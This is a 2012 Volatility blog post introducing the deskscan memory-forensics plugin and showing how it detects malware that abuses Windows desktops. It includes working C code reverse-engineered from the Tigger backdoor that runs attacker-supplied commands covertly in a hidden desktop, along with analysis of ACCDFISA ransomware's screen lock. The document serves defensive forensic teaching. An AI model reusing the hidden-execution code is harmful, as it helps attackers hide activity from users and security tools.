Wednesday, September 12, 2012

MoVP 1.3 Desktops, Heaps, and Ransomware

Month of Volatility Plugins

The MoVP 1.3 plugin, named deskscan, enumerates desktops, desktop heap allocations, and associated threads. In the GUI landscape, a desktop is essentially a container for application windows and user
interface objects. Malware utilizes desktops in various ways, from launching applications in alternate desktops (i.e. so the current logged-on user doesn't see) to ransomware that locks users out of their own desktop. We'll see some examples of both in this post. Before we begin, here is brief summary of the ways you might use the deskscan plugin in your investigations:

Find rogue desktops used to hide applications from logged-on users

Detect desktops created by ransomware

Link threads to their desktops

Analyze the desktop heap for memory corruptions

Profile dekstop heap allocations to locate USER objects

Data Structures

The tagDESKTOP structure represents desktops. Here is an example from Windows 7 x64:

Default is the default desktop for applications in the interactive window station. It is what you see 99.9% of the time you’re logged into a Windows system. Thus it makes sense that explorer.exe runs in this desktop (also note there are 6 different Explorer threads all running in this same desktop).

The number of windows in the Default desktop is also much higher than the others (238 compared to 25 in Disconnect and 6 in Winlogon). In order to allow the creation of so many more windows (and other objects), it makes sense that the Default desktop’s heap size is also much higher (0x300000 compared to 0x10000 and 0x20000).

The only threads in the Winlogon desktop actually belong to winlogon.exe.

The only desktop with global hooks is Default (fsHooks: 2128). This value can be parsed to report on installed windows message hooks.

If you pass the –v/--verbose option to the deskscan plugin, it will output
details on the desktop’s heap allocations. As described in Windows Hook ofDeath: Kernel Attacks through Usermode Callbacks by Tarjei Mandt, the win32k!ghati
symbol is an array of structures, one for each USER object type, telling you if
the objects are allocated from the desktop heap, shared heap, or session pool.
Windows (tagWND) and hooks (tagHOOK)
are two examples of objects you can find on the desktop heap. Thus, if you know
the size of a tagWND (0x128 on Windows 7 x64) and
the size of a heap header for that platform, you can walk the desktop heap
allocations and narrow down the possible addresses of window structures.

[snip]
As you can see, the base of the desktop heap can be found at 0xfffff900c0600000. Desktop heaps use the same structures as the Win32/NT API (i.e. _HEAP and _HEAP_ENTRY), so parsing them is very similar to the way you enumerate process heap allocations. In the following example, we show how its possible to locate potential tagWND structures using this method.

Of course, its possible to see false positives with this
method, since all we’re matching on is the size of an allocation, especially if
two or more objects were the same size. In fact, this is just a
proof-of-concept explaining how the desktop heap can be leveraged if it became
necessary. For example, later we’ll describe how the userhandles plugin can
locate all USER objects, including tagWND, regardless
of whether they’re allocated from the desktop heap, shared heap, or session
pool. However, if the USER handle table is not accessible for some reason, at
least we could use the heap allocations as a backup.

Tigger Malware

Tigger’s backdoor component accepts commands over the
network. If the attacker wants to run applications on the victim machine, the
malware creates a hidden desktop to run them in. You may notice that if you try
to CreateProcess(“ipconfig.exe”, …) even if the SW_HIDE
flag is set, a console window may flash instantaneously and alert the user that
something suspicious is running in the background. Additionally, if an attacker
opens a non-visible Internet Explorer instance (for example with COM APIs) in
the logged on user’s Default desktop, the application’s threads (and thus its
window messages) are subject to hooking and monitoring by any other tools in
the desktop.

The code below is reverse-engineered from the DLL that
Tigger injects into explorer.exe. It uses all the same flags, APIs, and
variables that the real malware used. Here’s how it works:

Create a new desktop named system_temp_ if it doesn’t already exist

Generate a temporary file name that will be used to capture the redirected output of console commands

Set STARTUPINFO.lpDesktop to WinSta0\system_temp_

Set dwFlags to indicate the STARTUPINFO structure also has preferences for window visibility and standard output and standard error handles for the process to be created

Create the new process (full path to the process szCmd is passed into the function as an argument – originally from an attacker over the network)

Wait for the process to complete

Read the process’s output (if any) from the specified output file and return it in a buffer

LPSTR RunCmdInSecretDesktop(TCHAR *szCmd, BOOL bWait)

{

DWORD dwFlags = (DESKTOP_SWITCHDESKTOP |

DESKTOP_WRITEOBJECTS | DESKTOP_CREATEWINDOW);

HDESK hDesk = NULL;

SECURITY_ATTRIBUTES SecurityAttributes;

STARTUPINFO StartupInfo;

PROCESS_INFORMATION ProcessInfo;

DWORD ddSize = 0;

TCHAR lpszPath[MAX_PATH];

TCHAR lpszFile[MAX_PATH];

HANDLE hFile = INVALID_HANDLE_VALUE;

hDesk = OpenDesktop(_T("system_temp_"), 0, FALSE, dwFlags);

if (hDesk == NULL)

hDesk = CreateDesktop(_T("system_temp_"),

NULL, NULL, 0, dwFlags, NULL);

if (hDesk == NULL)

return NULL;

SecurityAttributes.nLength = sizeof(SecurityAttributes);

SecurityAttributes.bInheritHandle = TRUE;

SecurityAttributes.lpSecurityDescriptor = NULL;

GetTempPath(MAX_PATH, lpszPath);

GetTempFileName(lpszPath, NULL, GetTickCount(), lpszFile);

hFile = CreateFile(

lpszFile,

GENERIC_READ | GENERIC_WRITE,

FILE_SHARE_READ | FILE_SHARE_WRITE,

&SecurityAttributes,

CREATE_ALWAYS,

NULL, NULL);

if (hFile == INVALID_HANDLE_VALUE) {

CloseDesktop(hDesk);

return NULL;

}

memset(&StartupInfo, 0, sizeof(StartupInfo));

GetStartupInfo(&StartupInfo);

StartupInfo.cb = sizeof(StartupInfo);

StartupInfo.lpDesktop = _T("Winsta0\\system_temp_");

StartupInfo.wShowWindow = 1;

StartupInfo.dwFlags = (STARTF_USESTDHANDLES |

STARTF_USESHOWWINDOW);

StartupInfo.hStdOutput = hFile;

StartupInfo.hStdError = hFile;

LPTSTR szDup = _tcsdup(szCmd);

if (CreateProcess(NULL, szDup, NULL, NULL, TRUE,

CREATE_NEW_CONSOLE, NULL, NULL,

&StartupInfo, &ProcessInfo))

{

if (bWait)

WaitForSingleObject(ProcessInfo.hProcess, INFINITE);

}

CloseHandle(ProcessInfo.hProcess);

CloseHandle(ProcessInfo.hThread);

CloseHandle(hFile);

CloseDesktop(hDesk);

return GetFileData(lpszFile, &ddSize);

}

At the end of the day, Tigger can covertly execute console
and GUI applications without the user noticing and without being detected by
security products that only monitor windows and window messages broadcasted in
the user’s Default desktop. Of course, some of the more robust antivirus suites
now monitor all desktops, but many of them still do not.

Unfortunately, since the function does call CloseDesktop at the end, this can cause the tagDESKTOP object in memory to be freed (unless other
threads have references to it). That’s why Volatility leverages object scanning
through physical memory to try and detect traces of past activity.

ACCDFISA Ransomware

The ACCDFISA malware (Anti Cyber Crime Department of Federal
Internet Security Agency), described on the Emsisoft blog is a ransomware
that creates a new desktop to display the ransom notice; and effectively locks
users out of the system until they enter a special code. For example, one of
the variants will display the message shown below after an infected
system is booted:

With no obvious way to get back to the real desktop, users
are forced to comply with the attacker’s demands, or figure out some other way
around it. As shown in the next screenshot, to create this screen-lock effect, the
malware uses CreateDesktopA to create a new desktop
named My Desktop 2 and then switches to it with SwitchDesktop.

The artifacts this malware leaves in physical memory should
not be surprising – a suspiciously named desktop with a single process (besides
the typical csrss.exe) associated with the desktop. In the output below, notice
the desktop is WinSta0\My Desktop 2 and the only thread attached to the desktop
besides those from csrss.exe is thread ID 308 from svchost.exe. As you can
imagine, a single thread running alone in a desktop is not typical.

$ python vol.py –f ACCFISA.vmem deskscan

Volatile Systems Volatility Framework 2.1_alpha

[snip]

**************************************************

Desktop: 0x24675c0, Name: WinSta0\My Desktop 2, Next: 0x820a47d8

SessionId: 0, DesktopInfo: 0xbc310650, fsHooks: 0

spwnd: 0xbc3106e8, Windows: 111

Heap: 0xbc310000, Size: 0x300000, Base: 0xbc310000, Limit: 0xbc610000

652 (csrss.exe 612 parent 564)

648 (csrss.exe 612 parent 564)

308 (svchost.exe 300 parent 240)

Let’s view a tree of the windows in the suspicious desktop. This plugin will be introduced in a future MoVP post. So far we know svchost.exe is most likely the malware process, but we’ll need a
bit more evidence to explicitly link it with the ransomware message.

As you can see, all of the windows for the ransom message
are owned by svchost.exe with process ID 300. Now you can start your initial
investigation based on this specific process. For example, using dlllist shows
it’s not a real svchost.exe, rather its hosted out of the C:\wnhsmlud
directory:

Using Volatility's deskscan command, you can analyze memory dumps in ways never seen before. Even better, this is just one of the new plugins in the win32k suite that will be released in Volatility 2.2.